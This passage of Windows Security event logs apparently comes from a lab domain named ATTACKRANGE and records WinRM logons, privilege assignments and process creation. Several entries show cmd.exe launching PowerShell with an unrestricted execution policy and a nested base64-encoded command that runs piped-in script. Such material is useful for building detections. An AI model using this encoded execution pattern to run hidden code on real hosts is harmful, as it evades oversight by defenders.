EEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247304
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf60
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247303
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x118669

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247302
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x118669
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247301
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247300
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247299
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe04
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf60
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247298
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Process Information:
	New Process ID:		0xf60
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247296
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247295
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247294
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247293
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1181FB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247292
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247291
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x115819

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247290
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1181FB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247289
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1181FB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247288
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247287
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247286
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1181CA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247285
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1181CA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247284
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1181CA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247283
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
